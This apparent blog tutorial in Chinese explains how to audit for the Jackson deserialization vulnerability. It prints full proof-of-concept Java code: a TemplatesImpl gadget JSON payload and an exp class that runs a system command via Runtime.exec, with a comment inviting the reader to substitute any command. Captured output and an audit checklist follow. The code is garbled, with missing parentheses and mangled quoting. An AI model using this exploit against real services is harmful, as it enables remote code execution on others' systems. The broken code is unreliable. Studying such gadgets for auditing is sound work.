當前位置:
首頁 > 知識 > 小白審計JACKSON反序列化漏洞

小白審計JACKSON反序列化漏洞

1. JACKSON漏洞解析

poc代碼:main.java

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

/**
* Created by Administrator on 2017/6/12.
*/
public class main {

public static void main(String[] args) {
String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//改成exp存在的絕對路徑
String exp = readClassStr("D:\workspace\123\target\classes\exp.class");
String jsonInput = aposToQuotes("{"object":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
" +
"{
" +
""transletBytecodes":[""+exp+""],
" +
""transletName":"p",
" +
""outputProperties":{}
" +
"}
" +
"]
" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper;
mapper.enableDefaultTyping;
User user;
try {
user = mapper.readValue(jsonInput, User.class);
System.out.println(user.getSex);
System.out.println(user.getName);
} catch (Exception e) {
e.printStackTrace;
}
}

public static String aposToQuotes(String json){
return json.replace(""",""");
}

public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream;
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace;
}
return Base64.encode(byteArrayOutputStream.toByteArray);
}
}

exp.java

import com.sun.javaws.progress.Progress;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;

/**
* Created by Administrator on 2017/6/12.
*/
public class exp extends AbstractTranslet {
public exp throws Exception {

try {
BufferedReader br = null;
//修改成你想要執行的命令
Process p = Runtime.getRuntime.exec("ipconfig");
br = new BufferedReader(new InputStreamReader(p.getInputStream));

String line = null;
StringBuilder sb = new StringBuilder;
while ((line = br.readLine) != null) {
sb.append(line + "
");
System.out.println(sb);
}
File file = new File("result.txt");
//File file =new File("javaio-appendfile.txt");

//if file doesnt exists, then create it
if(!file.exists){
file.createNewFile;
}

//true = append file
FileWriter fileWritter = new FileWriter(file.getName,true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString);
bufferWritter.close;
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace;

}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

user.java

import java.io.Serializable;
import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Objects;

/**
* Created by Administrator on 2017/6/12.
*/
public class User {
private Object object;
public Object getObject {
return object;
}
public void setObject(Object object) {
this.object = object;
}
}

嘗試執行:發現result.txt中存在結果

Windows IP

? 2:

y?? . . . . . . . . . . . . : y??
? DNS ? . . . . . . . :

? Npcap Loopback Adapter:

? DNS ? . . . . . . . :
IPv6 ?. . . . . . . . : fe80::b047:25da:330b:45d4%18
? IPv4 ? . . . . . . . : 169.254.69.212
. . . . . . . . . . . . : 255.255.0.0
?. . . . . . . . . . . . . :

? :

? DNS ? . . . . . . . :
IPv6 ?. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12
IPv4 ? . . . . . . . . . . . . : 10.0.83.198
. . . . . . . . . . . . : 255.255.255.0
?. . . . . . . . . . . . . : 10.0.83.1

調試本地代碼:

由於Jackson中是通過readValue執行命令,

按F7進入當前函數:

小白審計JACKSON反序列化漏洞

跳過幾次賦值,進入到當前函數,發現次函數中存在反序列化的賦值,按F7進行調試

小白審計JACKSON反序列化漏洞

小白審計JACKSON反序列化漏洞

多部調試,F7進入函數代碼(SetterlessProperty.java):

小白審計JACKSON反序列化漏洞

代碼執行:

小白審計JACKSON反序列化漏洞

2. Jackson反序列化漏洞如何審計

OK,說到這就簡單介紹了下,Jackson的反序列化代碼運行的過程,那麼現在代碼審計中如何審計的出來項目是否包含Jackson反序列化呢?

第一步:看版本,如果Jackson的版本號不在存在漏洞的版本列表中,肯定不會有此漏洞,

版本列表:

Jackson 2.7版本(<2.7.10)

Jackson 2.8版本(<2.8.9)

第二步:你的Bean類中是否包含object類型的變數:

例如,我這邊的User類中的Object變數定義為:private Object object

第三步:Jackson的ObjectMapper必須調用enableDefaultTyping:

ObjectMapper mapper = new ObjectMapper;

mapper.enableDefaultTyping;

滿足以上三個要求,才能進行構造POC進行校驗。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 達人科技 的精彩文章:

Qt自定義標籤按鈕
介紹RxJS在Angular中的應用
撰寫 Viewer 擴展(Extension)
linux 系統備份日誌
python基礎操作 集合 三元運算

TAG:達人科技 |

您可能感興趣

DRAGONBLOOD新漏洞劫持WPA3密碼
英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密VPN流量
新JNEC.a勒索軟體曝光,利用WinRAR ACE漏洞傳播
英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密通過VPN發送的HTTP流量
iOS漏洞——Web View XSS
CNNVD 關於iOS平台WebView組件跨域漏洞情況的通報
頭條:Oracle MICROS PoS存漏洞
WebLogic WLS核心組件曝反序列化漏洞
研究員發現SEV加密虛擬化安全漏洞AMD EPYC及Ryzen Pro處理器遭殃
CODESYS WebVisu產品出現嚴重漏洞,影響100多款ICS系統
Oculus CDN伺服器的XSS漏洞
路由器漏洞復現分析第三彈:DVRF INTRO題目分析
EOS節點遠程代碼執行漏洞—EOS智能合約WASM函數表數組越界
Sony IPELA E 系列網路攝像頭遠程命令執行漏洞預警
Chrome將修正文件系統API漏洞
甲骨文MICROS系統再曝漏洞 POS終端網路安全誰買單?
Intel VIA CPU發現新漏洞 安全市場應採用自主CPU
記一次利用BLIND OOB XXE漏洞獲取文件系統訪問許可權的測試
西門子修補SIMATIC控制器和移動App中的漏洞
在JSON端點上利用CSRF漏洞的實踐教程